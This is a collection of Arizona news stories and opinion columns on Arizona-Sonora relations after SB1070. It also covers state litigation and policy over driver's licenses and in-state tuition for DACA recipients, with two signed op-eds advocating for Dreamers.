Phoenix Mayor Greg Stanton, a Democrat who started as mayor soon after SB1070 passed, said it seemed like “our state government really turned our back on Mexico.”

Stanton has gone to Mexico 18 times since then. The city has opened two trade offices in Mexico, and Mexico opened a trade office in Phoenix, a sign of how far the relationship has come since then, the mayor said.

The governor himself has traveled to Mexico five times since taking office, according to the Arizona-Mexico Commission, including his first international trip as governor to Mexico City, something that hadn’t happened in a decade. He has also hosted Pavlovich in Arizona six times.

Angel Bours, vice president of the Sonora-Arizona Commission, said it’s clear the two governors have a strong relationship based on trust and a mutual understanding the states need to get along for the sake of the region’s economic health.

He said leaders on both sides of the border have been working on issues all over the spectrum, from trade to border wait times to water to education to social services.

“The relationship between the states goes beyond what the president does or says,” Bours said in Spanish.

The Arizona Chamber of Commerce and Industry has focused intently on growing the business relationships between the two states and came out against ending NAFTA and the Deferred Action for Childhood Arrivals program.

These days, Arizona delegations are received “very, very warmly” in Mexico, chamber President Glenn Hamer said. National rhetoric hasn’t played heavily into talks between business leaders because the local folks are “operating in a different airspace,” he said.

Jessica Pacheco, president of the Arizona-Mexico Commission’s board and an Arizona Public Service executive, said the national rhetoric hasn’t popped up in meetings she has had with her Mexican counterparts. Instead, the binational meetings have swelled in attendance, and the groups have focused on their day-to-day realities, she said.

“The relationship between Arizona and Sonora, I don’t think it’s ever been better than it is right now,” Pacheco said.

Roots of discontent

Most sources for this story pointed to a common low point in the Arizona-Sonora relationship: SB1070, known colloquially as the “show me your papers” law.

The most controversial provision of SB1070 required law enforcement to check the legal status of people they suspected were in the country illegally, a provision critics said led to racial profiling.

The backlash from SB1070 was almost immediate, and the effort to repair the reputational damage to the state’s image is still in progress. Groups from around the country announced bans on travel to Arizona for conferences, some of which still remain intact.

In 2010, the year SB1070 passed, the governors of Arizona and Sonora held no joint meetings, according to the Arizona-Mexico Commission.

Couple the backlash from SB1070 with the notoriety of Sheriff Joe Arpaio’s slogan as “America’s toughest sheriff” and his roundups of immigrants, and there’s a lot for the two sides of the border to overcome.

Christopher Wilson, deputy director of the Wilson Center’s Mexico Institute, a Washington D.C.-based think tank, said the pendulum has largely swung back in Arizona’s favor since SB1070 because of efforts that began at the state level before Trump took office.

But there’s a strong lesson to be learned from the SB1070 backlash, Wilson said.

“Tone matters. Business relationships are hard to form when the perception is totally negative,” he said.

After SB1070 became law, Lance Jungmeyer, president of the Fresh Produce Association of the Americas, anchored in Nogales, Arizona, said Arizonans became “persona non grata” in Mexico quickly.

“And we’ve been fighting it ever since,” he added.

The tide started turning in 2014, as pointed out by a National Public Radio story at the time, when Republicans, including then-Gov. Jan Brewer, who had signed SB1070 into law, sought to work with Mexican officials, and aggressive anti-immigration legislation at the state level had mostly dried up. The change of direction came after many dozens of CEOs of financial giants impressed upon the state’s leaders that they were squandering an opportunity.

Ducey didn’t want to discuss SB1070’s impact on the ability for the two states’ to communicate. He said he came into office and moved forward instead of focusing on the past.

“That’s the beauty of being an outsider and a newcomer to politics. I was able to go to Mexico City and pull out my business card and say, ‘Let me introduce myself, I’m the new governor, and I’m looking forward to a fresh start.’ And we erased and moved forward from that day,” Ducey said.

Trump’s comments

It’s a stark reversal from the recent past. During the Obama administration, Mexico and the U.S shared a congenial relationship while Arizona and Sonora were at odds.

Now, as the Arizona-Sonora relationship bloomed in recent years, the U.S.-Mexico relationship has eroded. Trump ran for office on a wave of border security fever, economic protectionism and isolationism. During the campaign, he said Mexican immigrants were rapists. As president, he floated the idea of adding a 20 percent tariff to goods coming to the U.S. from Mexico. He said the U.S. would build a “big, beautiful” border wall and Mexico would pay for it (Mexico disagrees with this idea).

Met with Governor-elect @claudiapavlovic today. I’m looking forward to Sonora & AZ working closely together. pic.twitter.com/lua0fPYS30

— Doug Ducey (@dougducey) July 22, 2015

For longstanding, trust-filled relationships, the president’s words don’t have a big impact, Jungmeyer said. But his words do sometimes require a response.

“Whoever you’ve been interacting with in Mexico, you kind of have to show them that I’m still the same person, our relationship is still the same. That may be a theme going on in American politics, but that doesn’t reflect what you and I have built together,” Jungmeyer said.

So much of the U.S-Mexico cooperation comes from local relationships, where the heart of the ties that bind the two nations are most obvious, said Shannon O’Neil, an immigration and trade expert at the foreign policy think tank, the Council on Foreign Relations.

Only in the past three decades has Mexico come to view the United States as a partner rather than an imperialist threat, O’Neil said. And the harsher, more nationalistic rhetoric coming from the White House could affect the way our southern neighbor views us and spark a nationalist response from Mexico, she said.

But local officials can counteract the national noise by making their voices heard in discussions with people in Mexico and with leaders in the U.S., O’Neil said.

“Stand up for Mexico. They will notice that, and that will go a long way to help build that relationship,” she said.

As for Ducey, he doesn’t think he should get involved in Mexican politics, and he appreciates that the people he works with in Sonora don’t try to get involved in American politics. And he recognizes big issues like comprehensive immigration reform and NAFTA renegotiation are out of his hands, though he can make it known to his federal friends what Arizona wants to see.

Still, the resiliency of the Arizona-Sonora relationship stood the test of a tumultuous election, and it became a true friendship, Ducey said.

“I do think that our relationship has grown stronger and more trusting because we never blinked during the entire campaign. We never cancelled or delayed a meeting,” he said.

Limits to the relationship

Rep. Diego Espinoza, D-Tolleson, who traveled with a bipartisan group of state lawmakers to Mexico in August, said Ducey has done well at improving the relationship with Mexico. But at the state level, the powers-that-be should be looking at ways to help Dreamers with tuition and licenses, something Ducey has largely avoided, Espinoza said.

While the governor has publicly said he wants Congress to pass legislation to allow Dreamers to stay in the U.S. permanently, he hasn’t taken steps to address the in-state tuition or driver’s license issues and has instead shied away from state policy related to the group of young immigrants.

“I just think he should include a bit more of the Latino caucus and the Democrats in general,” Espinoza said.

Stanton said improving conditions for Latinos in Arizona through policies that help Dreamers, for instance, can assist the state’s reputation south of the border.

For something like NAFTA, Bours, of the Sonora-Arizona Commission, said Sonoran and Arizonan officials may not be able to directly vote, but they can impress upon federal lawmakers the importance of trade and its financial impacts on states.

It’s up to those working in the field to show why investing in and collaborating with Mexico is wise, he said, and that’s where the local groups choose to focus.

The economic arguments only comprise part of the picture of the Arizona-Sonora relationship, though, O’Neil said. There are so many cultural and personal ties between the states that create a much deeper connection, she said.

“This is the future of your state. What is Arizona going to be 20 or 30 years from now? That will depend on the education and integration of many of these families that can make Arizona a much stronger place,” she said.

Brnovich argues state trumps feds in DACA driver’s license case

Attorney General Mark Brnovich lashed out at the Trump administration for asking the U.S. Supreme Court to reject Arizona’s bid to deny driver’s licenses to “dreamers.”

In legal papers filed with the high court, Brnovich accused the Department of Justice of being “surprisingly dismissive” of his arguments that a federal appellate court ruling requiring the state to issue licenses is impinging on state sovereignty. And he says the Trump administration appears to be

Arizona Attorney General Mark Brnovich (Photo by Katie Campbell/Arizona Capitol Times)

willing to, in effect, throw Arizona under the bus to advance its own arguments about the legality of the president’s efforts to rescind the Deferred Action for Childhood Arrivals program.

The filing comes after Noel Francisco, the federal solicitor general, told the justices they should deny Brnovich’s plea to review the appellate court ruling that went against Arizona and voided the 2012 state policy of declaring that dreamers have no legal right to a license. Francisco said there is no reason to believe the appellate court reached the wrong conclusion based on the evidence before it.

More significant, he said Arizona is legally wrong.

Francisco also pointed out that Arizona appears to be the only state in the country that is denying licenses to DACA recipients.

Brnovich, in his legal response, told the justices they should ignore that argument.

“This case is about much more than driver’s licenses,” he said. “It asks whether the two-dimensional division of power at the core of our Constitution can be collapsed into the president alone.”

That goes to Brnovich’s contention that the Obama administration had no right to create DACA in the first place absent congressional authorization.

Under that program, people who were brought to the United States illegally as children were granted the right to stay if they met certain conditions. They also were permitted to work.

At last count the government had accepted more than 900,000 applications, with about 807,000 approved, including more than 28,000 in Arizona.

The state Department of Transportation initially denied licenses to those in the program. Jan Brewer, then the governor, cited a 1996 provision of state law that licenses are available only to those whose presence in the country is “authorized by federal law.”

Brnovich is taking the position that DACA is not federal law but instead simply a policy of allowing people to remain. He said dreamers technically remain in this country illegally.

A divided federal appellate court disagreed, saying Arizona’s policy of denying licenses to dreamers was preempted by federal law. That sent Brnovich to the U.S. Supreme Court to seek relief.

Before ruling, however, the court wanted to hear the thoughts of the Department of Justice. That is what Francisco filed last month — and which Brnovich now wants the high court to brush aside.

In his filing, Brnovich said there is a fundamental problem with leaving the appellate court ruling undisturbed.

“DACA can be one of two things,” he told the justices.

On one hand, Brnovich said it could be advice of the administration to the Department of Homeland Security to not seek out and deport dreamers. The only other option is that it is a “substantive change in the law” enacted solely by the president and “in violation of the Constitution.”

“Either way, preemption is impossible,” Brnovich said, telling the justices they need to vindicate the separation of powers.

Brnovich also noted that when Francisco filed his comments the Department of Justice was in the middle of asking the Supreme Court to hear arguments by the Trump administration that it has the legal right to rescind DACA. He said that the administration, in asking the court to rebuff Arizona’s bid for relief, was “eager to advance its own extraordinary petition” and “make that extraordinary petition appear necessary.”

And Brnovich said the Trump administration, in filing legal papers against Arizona’s petition for review, was not only “focused on its own project” rather than the merits of the state’s case, but also failed to actually analyze the legal issues in that case.

The justices are expected to review all the legal filings later this month.

Brnovich, Contreras debate on cases AG has taken

From left are Attorney General Mark Brnovich, debate host Ted Simons of KAET, and Democratic AG candidate January Contreras. Brnovich and Contreras squared off in a televised debate Oct. 10, 2018. (Capitol Media Services photo by Howard Fischer)

Attorney General Mark Brnovich found himself defending the decisions he made to challenge various federal laws, challenges that his Democrat foe said Wednesday worked against the interests of average Arizonans.

During a televised debate on KAET-TV, January Contreras lashed out at Brnovich for working to overturn a decision by the Obama administration to put about a million acres of federal land near the Grand Canyon off limits to mining. Federal appellate judges did not agree with him.

Brnovich has had no better luck in joining with other Republican attorneys general to overturn the Affordable Care Act and its mandate to provide coverage for pre-existing conditions.

And Brnovich also sided with Americans for Prosperity in challenging a California law that would require the organization, part of the Koch brothers network, to disclose its donors.

All that, Contreras charged, showed that Brnovich during his four years as attorney general was more interested in pursuing cases that helped special interests than those that help average Arizonans.

Brnovich said that Contreras, a former assistant attorney general under Democrat Janet Napolitano, would follow her own political agenda if she was in charge of the office.

His prime example is the challenge his office filed against the Maricopa community colleges over the decision to charge resident tuition to “dreamers.”

“I would not have litigated that case,” Contreras conceded. She said that’s because she believed that they were entitled to in-state tuition if they met other Arizona residency requirements.

Contreras pointed out that those accepted into the Deferred Action for Childhood Arrivals program were entitled by the federal government to not only remain but also to work.

But Brnovich said that ignores the role of the Attorney General’s Office.

He pointed out that Arizonans voted by a 2-1 margin in 2006 to spell out that any person who is not a U.S. citizen or legal resident, or is “without lawful immigration status,” is ineligible to be charged the same tuition as residents at state colleges and universities.

“Even if you don’t like the policy, you have to defend it,” Brnovich said.

“As prosecutors, we enforce the law,” he said. “If you don’t like the law, you run for governor, you run for the Legislature or you run for Congress.”

Ultimately the Arizona Supreme Court sided with Brnovich and concluded that DACA recipients are not entitled to resident tuition.

As to the other cases Brnovich did pursue – and lost – the incumbent defended his decisions.

Take the mining case where he supported a challenge by the National Mining Association to the 2012 decision by the Obama administration to put a 20-year moratorium on new mining claims around the Grand Canyon. The Department of Interior said that would provide the time to study the effects of new mining on the environment, particularly water quality.

“As Arizona’s attorney general, when the federal government and the Obama administration tried to unilaterally remove one million acres of land without any congressional veto, I thought it was important,” Brnovich said. “We want to make sure we have a check on the federal government.”

Contreras said she has no problem with an attorney general seeking to exercise a check on the power of the federal government. But she argued that Brnovich was choosing the wrong issues — and the wrong side.

“You look at the separation of kids and parents at the border,” she said, noting that some attorneys general – but not Brnovich – went to federal court to protect the constitutional rights of those involved.

“What is alarming to me is how often, in the case of the cases I’m talking about, it’s aligning with political donors,” she said.

That question of money and politics spilled into the decision in August by Brnovich to alter the description of Proposition 127, a mandate that utilities use more renewable energy. The Secretary of State’s Office originally wrote the description. Brnovich added language that some considered to be unfair and uneven.

Contreras charged that Brnovich was influenced by money that Pinnacle West Capital Corp., the parent company of Arizona Public Service, has given to the Republican Attorneys General Association; RAGA, in turn, helped Brnovich get elected in 2014 and is spending money on his reelection campaign.

Brnovich responded that California billionaire Tom Steyer, who is financing the Prop 127 campaign, is now funding a $3.6 million media campaign urging Arizonans to turn him out of office. He called such out-of-state influence to help Contreras win the race “improper.”

“I think it’s funny coming from you when you have Arizona in a California courtroom defending the secrecy of donors to the Koch brothers network,” Contreras responded.

In that case, Americans for Prosperity sought to overturn a California law that requires certain nonprofit corporations to submit on a confidential basis a report of their large donors to that state’s attorney general as part of enforcing its laws governing tax-exempt groups. While Arizona was not affected — and Arizona has no similar laws – Brnovich submitted an amicus brief urging the 9th Circuit Court of Appeals to rule that California had no “legitimate governmental interest” in such a mandate.

The federal appellate court concluded otherwise.

After the debate, Brnovich defended his decision to intercede on behalf of Americans for Prosperity. He said forcing release of the names of donors amounts to “trying to intimidate people who are exercising their First Amendment rights.”

Brnovich said even if he did take positions on these cases that does not reflect the vast majority of how his office has operated.

“My opponent wants to point out one or two or three cases,” he said.

“We have almost 500 lawyers in our office,” Brnovich continued. “What we do touches people’s lives every day.”

Campaign to give DREAMers in-state tuition begins

Deferred Action for Childhood Arrivals (DACA) supporters march in Phoenix on Sept. 5, 2017, in Phoenix. (AP Photo/Matt York)

Supporters of a ballot measure to let immigrants living in Arizona without authorization pay in-state tuition at public colleges and universities have formed a political action committee to get their message out.

The Become Arizona PAC registered with the Secretary of State’s Office on May 27. The Legislature voted earlier this year, with a handful of Republicans joining all the Democrats to get it passed, to ask voters in November 2022 if they want to partially repeal a 2006 ballot measure that banned immigrants living here illegally from benefitting from in-state tuition rates. If voters pass it, immigrants who are living in Arizona illegally could pay in-state rates if they graduated from high school here and attended school here, while having lived in Arizona for at least two years.

“We’re forming a pretty broad coalition with recognized leaders across the political spectrum and from the business and faith communities,” said Tyler Montague, the PAC’s executive director.

Montague said the PAC will likely announce its executive committee in July, and will have the support of unions, non-governmental organizations and business groups such as the American Business Immigration Coalition.

“We already have a lot of interest,” he said.

Montague said they plan to run a “traditional campaign” and get their message out via methods such as mailers and TV and digital ads.

“We’re planning that there won’t be an organized opposition,” he said. “A funded, organized opposition is unlikely to this one. So, I don’t know how much we’ll need it, but we’re going to play it like we need to.”

Senate Concurrent Resolution 1044 cleared that chamber in early March with just three Republicans in support. It was never assigned to a committee in the House and appeared to be dead for two months, until Rep. Michelle Udall, R-Mesa, won a series of procedural motions with the support of just one other Republican to force a vote on the measure. Four Republicans ended up joining all of the House’s Democrats to support its final passage.

Opponents objected that the bill would extend in-state tuition to a larger group than just the so-called “DREAMers,” or immigrants who were brought here illegally as children, and argued against the idea of giving any kind of benefit to people living in the U.S. without legal authorization. Opponents also worried it would encourage illegal immigration, pointing to the increase in the number of people crossing into the U.S. from Mexico since President Biden took office.

“All illegal aliens are … under this current SCR1044, allowed in-state tuition,” Rep. Walt Blackman, R-Snowflake, said at the time. “I have some obvious problems with that.”

Blackman said he would support giving in-state tuition to beneficiaries of the Deferred Action for Childhood Arrivals program, who are immigrants whose parents brought them here illegally as children but whose deportation is on hold under the Obama-initiated program. This bill would affect a much larger group than that, he said.

He said it is unfair that they would qualify for in-state tuition while, after he moved to Arizona and became a state resident and taxpayer, his own son didn’t qualify because Blackman had joined the U.S. Army in Texas and wasn’t considered an Arizona resident yet.

Montague said in-state polling has shown 62% support for letting people who are living here illegally to pay in-state tuition and just 29% opposition. While 71% of voters approved the original restriction in 2006, Montague thinks the state has changed enough that a majority will want to reverse course next year.

“Things have changed significantly,” Montague said. “In 2006 we were in the middle of a massive wave of illegal immigration, and since the last decade or so we’ve been net negative to neutral with Mexico. … Overall, it’s been stable. And (in 2006), we had 1.5 million voters in that election. The last election, we had 3.5 million voters. Arizona has grown, and grown with people from different parts of the country and grown in births. So, this electorate is different from that electorate. And I think collectively, as a society, people regretted the DREAMer thing.”

The 2006 ban on undocumented immigrants getting in-state tuition came during a time of anti-illegal immigration sentiment in Arizona that peaked with the Legislature’s passage of SB1070 in 2010. Montague would know – a moderate Republican, he helped with the effort to recall former state Sen. Russell Pearce, the sponsor of SB1070. One of the factors behind Arizona’s shift from a red state to a more purple one is the progressive activism that was fueled by opposition to the anti-illegal immigration measures of that era.

“It passed in a time when a whole lot of other measures were being passed,” Montague said. “People were frustrated. … There are several reasons why I think what happened then doesn’t apply to today’s environment.”

Case seeking refunds for out-of-state university students dismissed

Out-of-state students who paid full tuition at state universities won’t be getting a refund.

Maricopa County Superior Court Judge Teresa Sanders on Tuesday threw out the lawsuit filed earlier this year by three students from other states. They claimed that since the universities were at the time letting “dreamers” pay in-state tuition meant they, too – and every other out-of-state student – were entitled to the same discount.

Sanders said even if that is true – a conclusion she never reached – it does not matter. Sanders said individuals who believe they were harmed by the failure of the Board of Regents to follow a federal law the right to file individual lawsuits.

But attorney Lance Entrekin who represents the students said his lawsuit is not based on seeking financial recovery under the federal law. He said it is based on the theory that the regents, having violated that federal law, have breached their contract with the out-of-state students who now are entitled to a refund.

And Entrekin said that, if nothing else, the universities were unjustly enriched by charging his clients and others the full out-of-state tuition when the federal law said they were entitled to pay in-state tuition.

He has vowed an appeal.

For the time being, the ruling, unless overturned, removes a large financial cloud from the state’s three universities. Had the judge let the suit go forward and found the tuition policy illegal, the schools could have potentially been on the hook for hundreds of millions of dollars in refunds.

At the heart of the issue is the 1996 Welfare Reform Act.

One provision spells out that people who are not in this country legally are ineligible for “any postsecondary education benefit” simply because they also happen to reside in the state.

But Congress also put in an escape clause of sorts for states: They could choose to provide discounted college but only if they made the same discounts available to all U.S. citizens.

All this became an issue because the Arizona Board of Regents voted in 2015 to provide in-state tuition to those in the Deferred Action for Childhood Arrivals program. Established years earlier by an executive order by President Obama, it allows those who came to this country illegally as children to remain without fear of deportation and the ability to work legally.

But in 2017 the state Court of Appeals, ruling in a case involving Maricopa County Community Colleges, said the policy of providing in-state tuition to DACA recipients violated both state and federal law.

The Board of Regents, despite the ruling, maintained the tuition policy for another year, until the Arizona Supreme Court upheld the appellate court ruling.

Entrekin argued that the regents were put on notice in that 2017 appellate ruling which specifically cited the 1996 federal law. But he said the universities continued to charge his clients and other out-of-state students the full tuition for the 2017-2018 school year.

That difference is significant.

When Entrekin sued, the regents had set resident undergraduate tuition for new students at the University of Arizona at $12,228, versus $35,658 for students from other states.

The difference is not quite as great at Arizona State University, $10,792 for resident undergrads compared to $27,372 for nonresidents. And Northern Arizona University set tuition at $11,059 for residents and $24,841 for others.

Entrekin sought a refund for California resident Mikayla Foss and Michigan resident Abigail Garbarino who were attending ASU and Eleanor Wiersma from Maryland, who was going to UofA. And he asked Sanders to allow the case to proceed as a class action, meaning any ruling would affect all others who Entrekin contends were overcharged.

Sanders, however, said the law’s sole purpose is to put a restriction on the state and universities extending benefits to those not here legally.

“It does not provide an entitlement to U.S. citizens,” she wrote. “Nor does it prohibit educational institutions from classifying non-resident students as such, or from collecting non-resident tuition from them.”

Entrekin, however, said that universities, in entering into a contract with the students to charge them out-of-state tuition, violated federal law.

He did not dispute that the students did get what they bargained for: an education at a price they knew up front. But Entrekin said that does not matter.

“You cannot enforce a contractual provision that is illegal,” he said.

Congress – do the right thing for DACA

The latest domino in the DACA saga fell when Judge Andrew Hannen out of the Southern District of Texas ruled that the DACA program was unlawful, immediately halting the processing of an estimated 55,000 first time DACA applications currently in the pipeline. While it’s clear from the language of the judge’s opinion that there is a legal path forward for DACA, and that the case will be challenged by the Biden administration in the U.S. Supreme Court, what’s even more obvious is that it’s time for Congress to step in and resolve the matter once and for all.

DACA, or Consideration of Deferred Action for Childhood Arrivals, is an Obama-era program created through executive order that offers work permits in two-year increments for undocumented persons, or Dreamers, who were brought to the United States at a young age. DACA only came about as an executive order after mounting frustration from multiple failed attempts from bipartisan congressional groups to pass versions of the Dream Act, dating back to 2001.

The DACA program was by many measures a success. It is estimated that there are over 1.8 million persons eligible for the program and around 650,000 who actively hold DACA status. Along with the work permits came benefits such as Social Security cards, driver’s licenses, and state IDs, and in some cases, eligibility for in-state tuition.

The plight of immigrants hits home for me. I am the son of an Iranian immigrant who became a naturalized U.S. citizen. It’s one of the reasons I have spent most of my professional career as an attorney, helping immigrants achieve the American dream. I currently chair the growing Immigration Department at Rose Law Group in Scottsdale.

It is important to understand that DACA is not an incentive for illegal immigration. There are strict cutoff dates, mandatory fees, and strict standards that ensure DACA is not granted to anyone who applies. It is NOT blanket amnesty. The program requires renewal every two years, meaning a DACA recipient must continue to pay into the program and be law abiding or risk losing their status and becoming subject to deportation.

For these reasons and more, DACA polls favorably across partisan lines. Most people know someone with DACA status. They are teaching in our classrooms, working in our factories, delivering food and groceries, working construction jobs during this latest housing boom, and maybe most importantly, serving as doctors, nurses, technicians, lab assistants and hospital workers during last year’s devastating pandemic.

There are two bills currently in Congress (American Dream and Promise Act of 2021 and the Dream Act of 2021) that if approved, would create legal permanent residency and a pathway to citizenship for somewhere between 2-3 million eligible Dreamers. There is an argument to pass this legislation through budget reconciliation, or after eliminating the filibuster, but doing so would put a partisan stain on an issue that, remarkably for a nation so divided at this moment in history, has overwhelming bipartisan support.

Rather than going it alone, Democrats and Republicans must find common ground and enshrine protection for Dreamers into legislation, rather than relying on executive order. In doing so, Congress can show Americans that they can act as humanitarians rather than strategists, cast division aside, and do the right thing. Our Dreamers are counting on it!

Darius Amiri is chair of the Immigration Department at Rose Law Group.

Court rules state denial of drivers licenses illegal

A federal judge has swatted down efforts by the Ducey administration to deny licenses to some deferred action recipients even after a federal appeals court ruled that such a move was illegal for others.

In a sometimes sharply worded ruling, Judge David Campbell pointed out that the 9th Circuit Court of Appeals told Arizona in no uncertain terms years ago that “dreamers” with certain Employment Authorization Documents are lawfully present in this country and cannot be denied licenses. Since then, the state has complied and those in the Deferred Action for Childhood Arrivals program have been licensed.

Yet state officials have refused to provide licenses to others in different deferred action programs to whom the federal government issued the exact same employment documents, like domestic violence victims. And that, said Campbell, is illegal.

“The federal government makes no distinction,” the judge wrote.

In his new ruling, Campbell also said the record shows the state has been playing litigation games, changing its policies in an attempt at first to justify denying licenses to dreamers and, when that didn’t work, to deny licenses to other deferred action recipients.

Gubernatorial press aide Daniel Scarpinato said the governor and the state Department of Transportation, who have been using taxpayer dollars to hire a private attorney to defend the policy, will be reviewing the ruling before deciding how to respond and whether to appeal.

But Nicolas Espiritu, an attorney with the National Immigration Law Center, said it is a clear — and crucial — victory for potentially 1,000 people who the state has been arguing should not get a license to drive.

“These individuals will be able to go into MVDs throughout the state and present the same documents as all other individuals who are just like them, who have a document that proves their identity and proves their authorization to be in the country, and they’ll be able to get a driver’s license,” he said.

The case is a spinoff of the original lawsuit filed against the state after then-Gov. Jan Brewer directed ADOT not to issue licenses to those who were part of the Deferred Action for Childhood Arrivals program enacted by the Obama administration. That program allows those who arrived in this country as children to remain without fear of deportation.

More significant for purposes of this lawsuit, they were granted Employment Authorization Documents allowing them to work here legally.

Attorneys for the state argued that DACA status is merely an administrative decision not to deport the dreamers. And they said DACA recipients do not meet the requirement of a 1996 state law which says licenses are available only to those whose presence in the country is “authorized by federal law.”

A federal appeals court quashed the state policy, ruling only the federal government can decide who is in this country legally. And with that the state began issuing licenses to DACA recipients.

One issue in that lawsuit was that the state was not being fair, as it had been providing licenses for years to those in other deferred action programs. These included domestic violence victims, those with pending visa applications, and those allowed to stay for humanitarian reasons.

So in its bid to justify denying licenses to the dreamers, the state stopped issuing licenses to those in these other groups.

The appellate court ruling on behalf of the dreamers did not help them, as they were not plaintiffs in the original lawsuit. So the National Immigration Law Center sued on their behalf.

In his new ruling, Campbell took notice of the changes in state policy.

He pointed out that Arizona had no problem in giving licenses to these other deferred action recipients, relying on those federally issued Employment Authorization Documents as proof of their legal presence. Only when it proved to be legally inconvenient, Campbell said, did ADOT change its mind.

“Given this history, the court concludes that ADOT’s policy changes have been made either because of Gov. Brewer’s disagreement with the federal government’s DACA program or in an effort to defend the resulting policy in court,” the judge wrote.

But this wasn’t the only bit of legal gamesmanship that Campbell found the state conducting.

Last year, attorneys for the state told Campbell there was no need for the lawsuit. They argued that ADOT has always allowed deferred action recipients like the individuals who sued to get licenses. All they had to do was present certain other documents.

The judge was not impressed.

“Again, it appears that ADOT changed its policy to bolster its defense in court,” Campbell wrote. And he brushed aside claims that it wasn’t really a change in policy but simply a clarification, pointing out that ADOT Director John Halikowski “testified that he did not know whether any employee other than himself was aware of such a policy.”

Campbell also took a swat at the attorneys for the state for trying to convince him that he should limit his ruling to affect only a handful of individuals with EADs, saying that not all deferred action programs are created equal.

“Defendants do not identify any actual distinctions between the various programs or the harms suffered by members of the programs” in being denied a license to drive. In fact, the judge said the only distinction among various deferred actions programs “is the one defendants created by altering their policies after plaintiffs initiative this suit.”

DACA can make the American Dream a reality for thousands

The U.S. Supreme Court is set to hear oral arguments regarding the legality of the Trump administration’s decision to rescind the Deferred Action for Childhood Arrivals, or DACA, on November 12. Court injunctions have left protections temporarily in place, but should the Supreme Court make a decision terminating the program, which they could as early as January 2020, these protections will be stripped and Dreamers, such as myself, could be subject to deportation. We need our Arizona senators to act now.

For the most part, I know what I want my future to look like. I want to graduate from Arizona State University and become an educator. I want to stay in Arizona and give back to my South Phoenix community. These are end goals that I have made for myself and have been developing from the mentorship of my sisters, parents, and teachers.

At five years old, my family immigrated to Arizona. My parents have always emphasized that education would take me where I want to go. I am fortunate that I was here at the right time and at the right age and to have had a resource for me to attend college. DACA was announced when I was 13. By the time I was 16, the hard work had already been done by those who came before me. I was eligible to have a driver’s license, to work, and to apply to the few DACA eligible programs and scholarships. I didn’t think about what I would do if I didn’t have this. It wasn’t until I was crying in my counselor’s office that morning of September 5th, scared because what I felt so certain about once before, now felt impossible. I didn’t know what DACA being rescinded meant for me, my scholarship, and my ability to study at ASU. I had the opportunity to step on to campus as a student and I wasn’t willing to let it become temporary.

The DACA program has made my ability to achieve the American Dream a reality, but without it, I could be subject to deportation to a country I hardly even know or remember, taking with me all that I’ve worked towards and contribute to my community, family, and Arizona economy.

I am not alone in this. If the Supreme Court terminates DACA protections, the more than 30,000 Arizona DACA recipients like myself will be removed from our studies and places of work, and the state could lose $1.3 billion in annual GDP.

Arizona’s economy and communities throughout this state will be negatively affected if our protections are stripped. I encourage my fellow DACA recipients to renew while they can and ask that Senators Kyrsten Sinema and Martha McSally work in a bipartisan manner to pass permanent protections for Dreamers through legislation such as the American Dream and Promise Act before it’s too late.

Denis Alvarez is the lead advocacy director for Undocumented Students for Education Equality.

DACA students to get special tuition rate under proposed Republican law

Barred from receiving in-state tuition at Arizona community colleges and universities, DACA recipients could still get a break on the cost of tuition under a Republican-backed bill.

Sen. Heather Carter’s SB1217 would direct the Arizona Board of Regents and community college governing boards to set a new tuition rate available to anyone who graduates from an Arizona high school.

The Cave Creek Republican envisions a rate higher than the cost of in-state tuition, but lower than tuition for out-of-state students.

That rate would affect not only immigrants under the Deferred Action for Childhood Arrivals program, but also undocumented students. Arizona residents who move out of state after graduating high school would also stand to benefit if they choose to return to Arizona to seek a higher degree.

“If a student has been educated in our Arizona K-12 system, it makes perfect sense for us to support and encourage them to continue their education,” Carter said. “…If you graduated from an Arizona high school, you are now eligible at this rate to continue your education in Arizona.”

As introduced, eligibility for the new tuition rate would expire after four years. But Carter told the Arizona Capitol Times she’ll offer an amendment to her bill that would eliminate the expiration date.

If approved, that would provide a discounted tuition rate to Arizona high school graduates who want to further their education in Arizona at any point in their lifetime.

Carter said the amendment aligns with Arizona State University President Michael Crow’s vision for “universal learning.”

“A lot of times we talk about it as being a lifelong learner. People will come in and out of an educational setting at different points in their life,” Carter said. “I think when we’re looking at your pursuit of your academic goals over your lifetime, it is perfectly appropriate to say, yes, 10 years, 15 years after graduation, I want to go back to where I graduated high school and go pursue a higher education goal.”

Carter’s bill aligns with an effort by some in the business community to find an affordable path to higher education for DACA recipients. Jaime Molera, a board member with the Arizona Chamber of Commerce and Industry, has also been in touch with the Greater Phoenix Chamber of Commerce and the Arizona Hispanic Chamber of Commerce, and said the organizations are in support of Carter’s effort.

DACA students “are going to remain in Arizona,” he said, “with zero opportunity to get some kind of higher certificate or degree that would allow them to be more productive.”

The trick is to find a path that doesn’t violate Proposition 300, the voter-approved law that bars anyone “without lawful immigration status” from being classified as an in-state student, Molera said. Carter’s legislation skirts the issue by creating a new tuition rate separate from the rate for those who qualify as in-state residents.

Dreamers at Arizona universities will still pay in-state tuition – for now

Dreamers at the state’s three universities will continue paying the same tuition as other Arizona residents, at least for the time being.

The Board of Regents voted Thursday to continue its policy of interpreting Arizona law to say that those in the Deferred Action for Childhood Arrivals are entitled to the same legal – and financial – considerations as anyone else who meets state residency requirements.

Thursday’s vote comes a week after the Arizona Court of Appeals concluded that a similar policy by the Maricopa community colleges violates Proposition 300, a 2006 voter-approved law that says those not in the country legally are not entitled to in-state tuition. The same law prohibits tuition waivers, scholarships or any other aid funded with public dollars.

But regents Chairman Bill Ridenour noted that the Maricopa board voted Tuesday to appeal that ruling to the Arizona Supreme Court. Ridenour, who called the appellate court decision a “difficult lose” for DACA recipients, said he wants to wait to see what the state’s high court decides before making any policy changes.

Ridenour also noted that students begin returning to campuses for the fall semester in August.

“We are very appreciative of the need for some kind of certainty for those students with our universities,” he said. Ridenour said there is no reason that the current tuition policy, adopted two years ago, should be scrapped unless and until there’s a final Supreme Court ruling.

Only regent Jay Heiler voted against keeping tuition for dreamers at the in-state rate.

“We have a Court of Appeals decision founded largely in state law as enacted by the voters,” he said. “I feel this board needs to honor that.”

But Heiler does not want to require DACA recipients – there are less than 300 in the state university system – to pay the full out-of-state rate.

He pointed out that the board already has a policy on the books allowing students who graduate from Arizona high schools but do not meet other residency requirements to pay a “differentiated rate.”

In essence, this is designed to cover the actual costs of educating students, avoiding the prohibition against subsidized tuition in Proposition 300. The regents have set that rate at 150 percent of in-state tuition.

It is not being used by DACA recipients because the regents decided to offer in-state tuition after a trial judge ruled in favor of the policy adopted by Maricopa County colleges.

Heiler found himself in the minority as other regents said they were content to leave the tuition for dreamers where it is right now.

